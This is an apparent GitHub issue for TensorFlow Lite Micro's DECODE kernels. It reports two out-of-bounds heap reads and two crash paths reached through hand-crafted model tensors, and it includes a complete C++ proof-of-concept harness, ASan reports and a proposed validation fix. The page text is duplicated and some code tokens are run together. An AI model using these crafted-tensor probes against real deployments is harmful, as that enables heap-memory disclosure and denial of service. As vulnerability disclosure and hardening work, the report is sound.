You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
DECODE kernels: decoder state derived from model bytes with no tensor-length validation — OOB reads land in decompressed output; empty scale vector divides by zero in Setup #3704
The new DECODE operator family (tensorflow/lite/micro/kernels/decode*.cc,
landed 2026-05-27; registered as the TFLM_DECODE custom op via AddDecode(), micro_mutable_op_resolver.h:218) derives all decoder state
from the model's ancillary bytes and output-tensor shape, and never
cross-checks any of it against the actual byte lengths of the input tensors.
Three consequences, all reproduced below against main @ bfeb43aa with the
real Register_DECODE() kernel through micro::KernelRunner:
Value-table OOB read whose bytes become decompressed output — the LUT
decoder reads its value table starting at ancillary + 16 with a
per-channel stride and channel count that all come from the same ancillary
bytes; nothing binds the span to the ancillary tensor's length. Canary
proof + ASan heap-buffer-overflow (READ of size 1, 127 bytes after a
16-byte region), symbolized to decode_state_lut.cc:500.
Compressed-bitstream OOB read whose bytes become decompressed output —
the number of index bits consumed is derived from the output tensor's
element count (decode_state_lut.cc:55); the input tensor's length is
never consulted. A 1-byte input tensor with a 512-element output reads
past the input's end. Canary proof + ASan heap-buffer-overflow (0 bytes
after a 1-byte region), symbolized to decode_state_lut.cc:492.
Division by zero in Setup — num_channels_ = quantization->scale->size
(decode_state_lut.cc:43) followed by count_indices_ / num_channels_ (:57): an affine-quantized output
tensor with an empty scale vector divides by zero (SIGFPE; a hard fault on
bare-metal targets). Same shape in the prune decoder, which additionally
walks zero_point->data with the scale count (decode_state_prune.cc:56-58)
behind a TFLITE_DCHECK only — a debug-build abort today, an unguarded
OOB walk in release (-DNDEBUG) builds.
To be explicit about the threat model: per TensorFlow's security policy
(which tflite-micro's SECURITY.md defers to), TensorFlow models are programs
and running untrusted models is equivalent to running untrusted code — these
gaps are reachable only through a hand-crafted model, not through
production-grade benign models, so this is filed as a robustness/hardening
issue, not a security report. The practical relevance: the DECODE path is
being made the default compressed-model pipeline (#3647/#3687/#3691), the
official PyPI wheel builds with --//:with_compression=true and registers AddDecode(), and tools/make ships the same kernels with USE_TFLM_COMPRESSION=1 — so any host that loads a third-party compressed
model (CI evaluating submitted models, OTA model updates, model
marketplaces) reaches this code with model-supplied bytes.
Decode then reads value_table[index] for index < 2^bit_width (up to 127),
advancing stride (up to 255) per channel for num_channels_ channels
(decode_state_lut.cc:136,426-459,467-503), and consumes count_indices_ * bit_width bits from compressed_indices_
(GetNextTableIndexWidth1..7, decode_state_lut.cc:514+). Every quantity
in both spans comes from the hostile model; the tensors' own bytes counts
are never consulted.
The prune decoder has the same shapes (decode_state_prune.cc:44 scale-size
channels, :57-58 the zero-point walk, :87 the division) and the huffman
decoder starts the same way (decode_state_huffman.cc:38-40: compressed_codewords_/count_codewords_ from input pointer + output
count, huffman_tables_ = &ancillary_data[16] with no length check). The
two LUT shapes below are the ones with runtime proof; the prune/huffman
analogs are included in the proposed fix.
Reproduction
Harness (self-contained; drives the real kernel via tflite::micro::KernelRunner with Register_DECODE(), mirroring the repo's
own decode_test_helpers.h test path). Canary mode backs each hostile
tensor with a marker region past its declared end, so the leak is observable
without a sanitizer; exact mode ends the allocation at the declared extent so
ASan puts a redzone there.
// decode_hostile.cc — hostile-input probes for the TFLM_DECODE op.// Usage: decode_hostile <d1|d2|d3|d4> [canary|exact]//// d1: LUT value table read from ancillary+16 without checking the// ancillary tensor holds 2^bit_width * stride * channels bytes.// d2: LUT consumes count*bit_width bits of input without checking the// input tensor holds that many bits.// d3: LUT Setup divides by num_channels_ when the output quantization// scale vector is empty (scale->size() == 0).// d4: prune Setup walks zero_point->data with the scale vector's count.
#include<cstdio>
#include<cstring>
#include<cstdint>
#include<string_view>
#include<vector>
#include"tensorflow/lite/core/c/common.h"
#include"tensorflow/lite/micro/kernels/decode_state.h"
#include"tensorflow/lite/micro/kernels/kernel_runner.h"
#include"tensorflow/lite/micro/kernels/micro_ops.h"
#include"tensorflow/lite/micro/micro_log.h"
#include"tensorflow/lite/micro/test_helpers.h"namespacetflite {
namespace {
constexprsize_tkDcmHeaderSize = 16;
structQuantFields {
// TfLiteFloatArray / TfLiteIntArray carry inline trailing arrays, so the// vectors must be heap-built with room for the trailing data.
TfLiteFloatArray* scale = nullptr;
TfLiteIntArray* zero_point = nullptr;
TfLiteAffineQuantization affine = {};
QuantFields(size_t scale_count, size_t zp_count) {
scale = static_cast<TfLiteFloatArray*>(
malloc(sizeof(TfLiteFloatArray) + scale_count * sizeof(float)));
scale->size = static_cast<int>(scale_count);
for (size_t i = 0; i < scale_count; i++) scale->data[i] = 1.0f;
zero_point = static_cast<TfLiteIntArray*>(
malloc(sizeof(TfLiteIntArray) + zp_count * sizeof(int)));
zero_point->size = static_cast<int>(zp_count);
for (size_t i = 0; i < zp_count; i++) zero_point->data[i] = 0;
affine.scale = scale;
affine.zero_point = zero_point;
affine.quantized_dimension = 0;
}
};
// 16-byte DCM header. [0]=type [1]=DCM version [4]=method version// [5]=params (low 3 bits = index bit width) [6]=value-table channel stride.
std::vector<uint8_t> MakeHeader(uint8_t type, uint8_t bit_width,
uint8_t stride) {
std::vector<uint8_t> h(kDcmHeaderSize, 0);
h[0] = type;
h[1] = 1;
h[4] = 1;
h[5] = bit_width & 0x07;
h[6] = stride;
return h;
}
TfLiteTensor MakeByteTensor(constint* dims_data, constvoid* data,
constbool constant) {
TfLiteTensor t = {};
t.type = kTfLiteUInt8;
t.dims = testing::IntArrayFromInts(dims_data);
t.data.data = const_cast<void*>(data);
t.allocation_type = constant ? kTfLiteMmapRo : kTfLiteArenaRw;
size_t bytes = 1;
for (int i = 1; i <= dims_data[0]; i++) bytes *= dims_data[i];
t.bytes = bytes;
return t;
}
TfLiteTensor MakeOutTensor(constint* dims_data, void* data) {
TfLiteTensor t = {};
t.type = kTfLiteInt8;
t.dims = testing::IntArrayFromInts(dims_data);
t.data.data = data;
t.allocation_type = kTfLiteArenaRw;
size_t bytes = 1;
for (int i = 1; i <= dims_data[0]; i++) bytes *= dims_data[i];
t.bytes = bytes;
return t;
}
boolRunOnce(constuint8_t* anc_data, size_t anc_declared, constuint8_t* in_data,
size_t in_declared, int8_t* out_data, int out_count) {
TfLiteTensor tensors[3] = {};
int in_dims[] = {1, static_cast<int>(in_declared)};
int anc_dims[] = {1, static_cast<int>(anc_declared)};
int out_dims[] = {1, out_count};
tensors[0] = MakeByteTensor(in_dims, in_data, true);
tensors[1] = MakeByteTensor(anc_dims, anc_data, true);
tensors[2] = MakeOutTensor(out_dims, out_data);
int inputs[] = {2, 0, 1};
int outputs[] = {1, 2};
micro::KernelRunner runner(Register_DECODE(), tensors, 3,
testing::IntArrayFromInts(inputs),
testing::IntArrayFromInts(outputs), nullptr);
return runner.InitAndPrepare() == kTfLiteOk && runner.Invoke() == kTfLiteOk;
}
// d1: ancillary declared as exactly 16 bytes (header only, no value table).intCaseD1(constchar* mode) {
constexprintkCount = 256;
constbool canary = strcmp(mode, "canary") == 0;
const std::vector<uint8_t> header = MakeHeader(DecodeState::kDcmTypeLUT, 7, 1);
std::vector<uint8_t> blob;
if (canary) {
blob = header;
blob.resize(kDcmHeaderSize + 256);
for (size_t i = 0; i < 256; i++)
blob[kDcmHeaderSize + i] = static_cast<uint8_t>(0xC0 | (i & 0x3F));
} else {
blob = header;
}
constsize_t in_bytes = (kCount * 7 + 7) / 8;
std::vector<uint8_t> ones(in_bytes, 0xFF);
std::vector<uint8_t> zeros(in_bytes, 0x00);
std::vector<int8_t> out_ones(kCount), out_zeros(kCount);
if (!RunOnce(blob.data(), kDcmHeaderSize, ones.data(), in_bytes,
out_ones.data(), kCount) ||
!RunOnce(blob.data(), kDcmHeaderSize, zeros.data(), in_bytes,
out_zeros.data(), kCount)) {
MicroPrintf("d1: decode failed");
return1;
}
MicroPrintf("d1 ones run out[0..3]: %02x %02x %02x %02x",
(uint8_t)out_ones[0], (uint8_t)out_ones[1], (uint8_t)out_ones[2],
(uint8_t)out_ones[3]);
MicroPrintf("d1 zeros run out[0..3]: %02x %02x %02x %02x",
(uint8_t)out_zeros[0], (uint8_t)out_zeros[1], (uint8_t)out_zeros[2],
(uint8_t)out_zeros[3]);
if (canary) {
// all-one index bits -> index 127 -> canary[127]; all-zero -> canary[0].constuint8_t expect_ones = blob[kDcmHeaderSize + 127];
constuint8_t expect_zeros = blob[kDcmHeaderSize + 0];
constbool ones_ok = (uint8_t)out_ones[0] == expect_ones &&
(uint8_t)out_ones[kCount - 1] == expect_ones;
constbool zeros_ok = (uint8_t)out_zeros[0] == expect_zeros &&
(uint8_t)out_zeros[kCount - 1] == expect_zeros;
MicroPrintf("d1: ones->%02x (canary[127]=%02x) zeros->%02x (canary[0]=%02x)",
(uint8_t)out_ones[0], expect_ones, (uint8_t)out_zeros[0],
expect_zeros);
if (ones_ok && zeros_ok) {
MicroPrintf("D1 CONFIRMED: the LUT decoder read its value table from ""bytes past the ancillary tensor's declared end and those ""bytes are now decompressed model output");
return0;
}
return2;
}
MicroPrintf("D1 exact-mode run completed (ASAN reports if built sanitized)");
return0;
}
// d2: input declared as 1 byte; output declares 512 elements of 7-bit indices.intCaseD2(constchar* mode) {
constexprintkCount = 512;
constbool canary = strcmp(mode, "canary") == 0;
// Full in-bounds ancillary: header + 128-entry identity value table.
std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypeLUT, 7, 128);
anc.resize(kDcmHeaderSize + 128);
for (size_t i = 0; i < 128; i++) anc[kDcmHeaderSize + i] = (uint8_t)i;
std::vector<uint8_t> blob_ones(1), blob_zeros(1);
if (canary) {
blob_ones.resize(1 + 1024);
blob_zeros.resize(1 + 1024);
std::fill(blob_ones.begin() + 1, blob_ones.end(), 0xFF);
std::fill(blob_zeros.begin() + 1, blob_zeros.end(), 0x00);
}
std::vector<int8_t> out_ones(kCount), out_zeros(kCount);
if (!RunOnce(anc.data(), anc.size(), blob_ones.data(), 1, out_ones.data(),
kCount) ||
!RunOnce(anc.data(), anc.size(), blob_zeros.data(), 1, out_zeros.data(),
kCount)) {
MicroPrintf("d2: decode failed");
return1;
}
// With a 0x00 first (in-bounds) byte and all-0xFF past-end bytes, indices// at group >= 1 (offset >= 8) are 127; with all-0x00 past-end they are 0.constint v_ones = (uint8_t)out_ones[16];
constint v_zeros = (uint8_t)out_zeros[16];
MicroPrintf("d2: out[16] ones-run=%d zeros-run=%d", v_ones, v_zeros);
if (canary && v_ones == 127 && v_zeros == 0) {
MicroPrintf("D2 CONFIRMED: past-the-end input bytes selected value-table ""entries and became decompressed model output");
return0;
}
if (!canary) {
MicroPrintf("D2 exact-mode run completed (ASAN reports if built ""sanitized)");
return0;
}
return2;
}
// d3: empty scale vector -> num_channels_ == 0 -> count / 0 in Setup.intCaseD3() {
constexprintkCount = 16;
std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypeLUT, 4, 16);
anc.resize(kDcmHeaderSize + 32, 0);
std::vector<uint8_t> in(8, 0);
std::vector<int8_t> out(kCount);
QuantFields q(0, 0);
TfLiteTensor tensors[3] = {};
int in_dims[] = {1, 8};
int anc_dims[] = {1, static_cast<int>(anc.size())};
int out_dims[] = {1, kCount};
tensors[0] = MakeByteTensor(in_dims, in.data(), true);
tensors[1] = MakeByteTensor(anc_dims, anc.data(), true);
tensors[2] = MakeOutTensor(out_dims, out.data());
tensors[2].quantization.type = kTfLiteAffineQuantization;
tensors[2].quantization.params = &q.affine;
int inputs[] = {2, 0, 1};
int outputs[] = {1, 2};
micro::KernelRunner runner(Register_DECODE(), tensors, 3,
testing::IntArrayFromInts(inputs),
testing::IntArrayFromInts(outputs), nullptr);
const TfLiteStatus prepare = runner.InitAndPrepare();
MicroPrintf("d3: prepare returned %d (a SIGFPE before this line means the ""division trapped)",
(int)prepare);
return0;
}
// d4: prune Setup, scale->size()==64, zero_point->size()==1.intCaseD4() {
constexprintkCount = 64;
std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypePrune, 0, 0);
anc.resize(kDcmHeaderSize + 64, 0);
std::vector<uint8_t> in(kCount, 0);
std::vector<int8_t> out(kCount);
QuantFields q(64, 1);
TfLiteTensor tensors[3] = {};
int in_dims[] = {1, kCount};
int anc_dims[] = {1, static_cast<int>(anc.size())};
int out_dims[] = {1, kCount};
tensors[0] = MakeByteTensor(in_dims, in.data(), true);
tensors[1] = MakeByteTensor(anc_dims, anc.data(), true);
tensors[2] = MakeOutTensor(out_dims, out.data());
tensors[2].quantization.type = kTfLiteAffineQuantization;
tensors[2].quantization.params = &q.affine;
int inputs[] = {2, 0, 1};
int outputs[] = {1, 2};
micro::KernelRunner runner(Register_DECODE(), tensors, 3,
testing::IntArrayFromInts(inputs),
testing::IntArrayFromInts(outputs), nullptr);
const TfLiteStatus prepare = runner.InitAndPrepare();
const TfLiteStatus invoke =
prepare == kTfLiteOk ? runner.Invoke() : kTfLiteError;
MicroPrintf("d4: prepare=%d invoke=%d (walk of zero_point with scale-sized ""count happens in Setup)",
(int)prepare, (int)invoke);
return0;
}
} // namespace
} // namespace tfliteintmain(int argc, char** argv) {
if (argc < 2) {
fprintf(stderr, "usage: %s <d1|d2|d3|d4> [canary|exact]\n", argv[0]);
return64;
}
constchar* mode = argc > 2 ? argv[2] : "canary";
const std::string_view c = argv[1];
if (c == "d1") returntflite::CaseD1(mode);
if (c == "d2") returntflite::CaseD2(mode);
if (c == "d3") returntflite::CaseD3();
if (c == "d4") returntflite::CaseD4();
return64;
}
Build digest (repo-relative; -fsanitize=address -fno-omit-frame-pointer
appended for the ASan binary; compile the harness plus the tflm sources the
kernel pulls in — kernels/decode*.cc, kernels/kernel_runner.cc, micro/test_helpers.cc, allocator/interpreter core — with -std=c++17 -fno-rtti -fno-exceptions -g -O1 -DUSE_TFLM_COMPRESSION -DTF_LITE_STATIC_MEMORY and the repo + flatbuffers + gemmlowp include dirs;
full source list in the attached build script):
Observed (main @ bfeb43aa, macOS x86_64, clang 17; transcripts verbatim;
ASan frames shown symbolized via atos, the raw reports carry unsymbolized
addresses):
$ ./decode_hostile d1 canary
d1 ones run out[0..3]: ff ff ff ff
d1 zeros run out[0..3]: c0 c0 c0 c0
d1: ones->ff (canary[127]=ff) zeros->c0 (canary[0]=c0)
D1 CONFIRMED: the LUT decoder read its value table from bytes past the
ancillary tensor's declared end and those bytes are now decompressed model output
[exit 0]
$ ASAN_OPTIONS=detect_leaks=0:symbolize=0 ./decode_hostile_asan d1 exact
==50813==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000017f
READ of size 1 thread T0
0x60200000017f is located 127 bytes after 16-byte region [0x6020000000f0,0x602000000100)
SUMMARY: heap-buffer-overflow
#0 tflite::DecodeStateLut::DecompressToBufferWidthAny<signed char>(signed char*) decode_state_lut.cc:500
#1 tflite::DecodeStateLut::DecompressToBuffer<signed char>(void*) decode_state_lut.cc:114
#2 tflite::DecodeStateLut::Decode(...) decode_state_lut.cc:80
#3 tflite::Eval(...) decode.cc:179
$ ./decode_hostile d2 canary
d2: out[16] ones-run=127 zeros-run=0
D2 CONFIRMED: past-the-end input bytes selected value-table entries and
became decompressed model output
[exit 0]
$ ASAN_OPTIONS=detect_leaks=0:symbolize=0 ./decode_hostile_asan d2 exact
==50815==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000f1
READ of size 1 thread T0
0x6020000000f1 is located 0 bytes after 1-byte region [0x6020000000f0,0x6020000000f1)
SUMMARY: heap-buffer-overflow
#0 tflite::DecodeStateLut::DecompressToBufferWidthAny<signed char>(signed char*) decode_state_lut.cc:492
(bitstream index read — GetNextTableIndexWidth7)
$ ./decode_hostile d3
Floating point exception: 8 # exit 136 = 128+SIGFPE, inside Setup
#0 tflite::DecodeStateLut::Setup decode_state_lut.cc:57
(elements_per_channel_ = count_indices_ / num_channels_)
#1 tflite::Prepare decode.cc:131
$ ./decode_hostile d4
Abort trap: 6 # exit 134 — debug TFLITE_DCHECK at
# decode_state_prune.cc:54 (num_channels_ == zero_point->size);
# with -DNDEBUG the DCHECK is compiled out and
# std::any_of (decode_state_prune.cc:56-58) walks
# zero_point->data + 64 over a 1-entry array
Control on the d1/d2 claims: each probe runs the SAME hostile tensors twice,
varying only the past-the-end backing bytes (0xFF vs 0x00); the decompressed
output follows that variation byte-for-byte (ff/c0 per canary position in
d1; 127/0 in d2) — i.e. the output content is a function of memory the
tensor does not own. d1's ASan report places the read exactly at the canary
position the canary run predicted (127 bytes past the 16-byte region).
Why the byte-value differences matter: the OOB bytes land in a decompressed
tensor that flows to downstream operators and, in any deployment that returns
inference output, leaves the process. The read position is also fully
model-positioned (index bits + stride + channel count all come from the
craft bytes), so adjacent heap content can be sampled by choice of index —
or the walk can simply cross into an unmapped page and crash.
Proposed fix
Validate the declared spans against the tensors' actual byte counts in each
decoder's Setup, before any state is derived (all checks return kTfLiteError with a diagnostic naming the tensor and the shortfall):
Ancillary length (LUT, huffman, prune alike): require ancillary.bytes >= kDcmSizeInBytes before reading header fields at
offsets 4/5/6 (today even a 5-byte tensor is read at offset 6), and
require the full declared span to fit: kDcmSizeInBytes + value_table_channel_stride_ * num_channels_ * 2^bit_width
for the LUT (and the analogous huffman-table span for type 1). This
closes the d1 read and the same-family huffman shape.
Input length: require the input tensor to hold the consumed bit
count, ceil(count_indices_ * compressed_bit_width_ / 8) bytes for the
LUT (count_codewords_ * 4 bytes for huffman). This closes d2.
Channel derivation: reject quantization->scale->size == 0 (and the
prune decoder's scale/zero-point size mismatch) with an error return
instead of dividing by zero / walking past the zero-point array. Note the
open channel-count rework DECODE fix channel count for non-quantized tensors #3691 replaces scale->size with an
axis-derived count but keeps the same TFLITE_DCHECK-only agreement
check for zero points — the size checks are worth adding in either
shape. The d3 SIGFPE is also a concrete crash repro for the empty /
degenerate channel-count case DECODE fix to number of channels for non-quantized tensors #3685 describes for non-quantized tensors.
Optional: a single DecodeState::Validate(input, ancillary, output)
helper so the three decoders share the checks.
Happy to send a PR with the checks + these cases as regression tests if the
approach sounds right.
Summary
The new DECODE operator family (
tensorflow/lite/micro/kernels/decode*.cc,landed 2026-05-27; registered as the
TFLM_DECODEcustom op viaAddDecode(),micro_mutable_op_resolver.h:218) derives all decoder statefrom the model's ancillary bytes and output-tensor shape, and never
cross-checks any of it against the actual byte lengths of the input tensors.
Three consequences, all reproduced below against main @
bfeb43aawith thereal
Register_DECODE()kernel throughmicro::KernelRunner:decoder reads its value table starting at
ancillary + 16with aper-channel stride and channel count that all come from the same ancillary
bytes; nothing binds the span to the ancillary tensor's length. Canary
proof + ASan
heap-buffer-overflow(READ of size 1, 127 bytes after a16-byte region), symbolized to
decode_state_lut.cc:500.the number of index bits consumed is derived from the output tensor's
element count (
decode_state_lut.cc:55); the input tensor's length isnever consulted. A 1-byte input tensor with a 512-element output reads
past the input's end. Canary proof + ASan
heap-buffer-overflow(0 bytesafter a 1-byte region), symbolized to
decode_state_lut.cc:492.num_channels_ = quantization->scale->size(
decode_state_lut.cc:43) followed bycount_indices_ / num_channels_(:57): an affine-quantized outputtensor with an empty scale vector divides by zero (SIGFPE; a hard fault on
bare-metal targets). Same shape in the prune decoder, which additionally
walks
zero_point->datawith the scale count (decode_state_prune.cc:56-58)behind a
TFLITE_DCHECKonly — a debug-build abort today, an unguardedOOB walk in release (
-DNDEBUG) builds.To be explicit about the threat model: per TensorFlow's security policy
(which tflite-micro's SECURITY.md defers to), TensorFlow models are programs
and running untrusted models is equivalent to running untrusted code — these
gaps are reachable only through a hand-crafted model, not through
production-grade benign models, so this is filed as a robustness/hardening
issue, not a security report. The practical relevance: the DECODE path is
being made the default compressed-model pipeline (#3647/#3687/#3691), the
official PyPI wheel builds with
--//:with_compression=trueand registersAddDecode(), andtools/makeships the same kernels withUSE_TFLM_COMPRESSION=1— so any host that loads a third-party compressedmodel (CI evaluating submitted models, OTA model updates, model
marketplaces) reaches this code with model-supplied bytes.
Mechanism (main @ bfeb43a)
The DECODE op consumes constant tensor pairs (
decode.cc:93-94enforcesIsConstantTensor):input(compressed indices/codewords) andancillary(16-byte DCM header + decoder data). Header fields per
decode_state.h:[0]decode type,[1]DCM version,[4]methodversion,
[5]params (low 3 bits = index bit width),[6]value-tablechannel stride.
Decode then reads
value_table[index]forindex < 2^bit_width(up to 127),advancing
stride(up to 255) per channel fornum_channels_channels(
decode_state_lut.cc:136,426-459,467-503), and consumescount_indices_ * bit_widthbits fromcompressed_indices_(
GetNextTableIndexWidth1..7,decode_state_lut.cc:514+). Every quantityin both spans comes from the hostile model; the tensors' own
bytescountsare never consulted.
The prune decoder has the same shapes (
decode_state_prune.cc:44scale-sizechannels,
:57-58the zero-point walk,:87the division) and the huffmandecoder starts the same way (
decode_state_huffman.cc:38-40:compressed_codewords_/count_codewords_from input pointer + outputcount,
huffman_tables_ = &ancillary_data[16]with no length check). Thetwo LUT shapes below are the ones with runtime proof; the prune/huffman
analogs are included in the proposed fix.
Reproduction
Harness (self-contained; drives the real kernel via
tflite::micro::KernelRunnerwithRegister_DECODE(), mirroring the repo'sown
decode_test_helpers.htest path). Canary mode backs each hostiletensor with a marker region past its declared end, so the leak is observable
without a sanitizer; exact mode ends the allocation at the declared extent so
ASan puts a redzone there.
Build digest (repo-relative;
-fsanitize=address -fno-omit-frame-pointerappended for the ASan binary; compile the harness plus the tflm sources the
kernel pulls in —
kernels/decode*.cc,kernels/kernel_runner.cc,micro/test_helpers.cc, allocator/interpreter core — with-std=c++17 -fno-rtti -fno-exceptions -g -O1 -DUSE_TFLM_COMPRESSION -DTF_LITE_STATIC_MEMORYand the repo + flatbuffers + gemmlowp include dirs;full source list in the attached build script):
Observed (main @
bfeb43aa, macOS x86_64, clang 17; transcripts verbatim;ASan frames shown symbolized via
atos, the raw reports carry unsymbolizedaddresses):
Control on the d1/d2 claims: each probe runs the SAME hostile tensors twice,
varying only the past-the-end backing bytes (0xFF vs 0x00); the decompressed
output follows that variation byte-for-byte (
ff/c0per canary position ind1;
127/0in d2) — i.e. the output content is a function of memory thetensor does not own. d1's ASan report places the read exactly at the canary
position the canary run predicted (127 bytes past the 16-byte region).
Why the byte-value differences matter: the OOB bytes land in a decompressed
tensor that flows to downstream operators and, in any deployment that returns
inference output, leaves the process. The read position is also fully
model-positioned (index bits + stride + channel count all come from the
craft bytes), so adjacent heap content can be sampled by choice of index —
or the walk can simply cross into an unmapped page and crash.
Proposed fix
Validate the declared spans against the tensors' actual byte counts in each
decoder's
Setup, before any state is derived (all checks returnkTfLiteErrorwith a diagnostic naming the tensor and the shortfall):ancillary.bytes >= kDcmSizeInBytesbefore reading header fields atoffsets 4/5/6 (today even a 5-byte tensor is read at offset 6), and
require the full declared span to fit:
kDcmSizeInBytes + value_table_channel_stride_ * num_channels_ * 2^bit_widthfor the LUT (and the analogous huffman-table span for type 1). This
closes the d1 read and the same-family huffman shape.
count,
ceil(count_indices_ * compressed_bit_width_ / 8)bytes for theLUT (
count_codewords_ * 4bytes for huffman). This closes d2.quantization->scale->size == 0(and theprune decoder's scale/zero-point size mismatch) with an error return
instead of dividing by zero / walking past the zero-point array. Note the
open channel-count rework DECODE fix channel count for non-quantized tensors #3691 replaces
scale->sizewith anaxis-derived count but keeps the same
TFLITE_DCHECK-only agreementcheck for zero points — the size checks are worth adding in either
shape. The d3 SIGFPE is also a concrete crash repro for the empty /
degenerate channel-count case DECODE fix to number of channels for non-quantized tensors #3685 describes for non-quantized tensors.
DecodeState::Validate(input, ancillary, output)helper so the three decoders share the checks.
Happy to send a PR with the checks + these cases as regression tests if the
approach sounds right.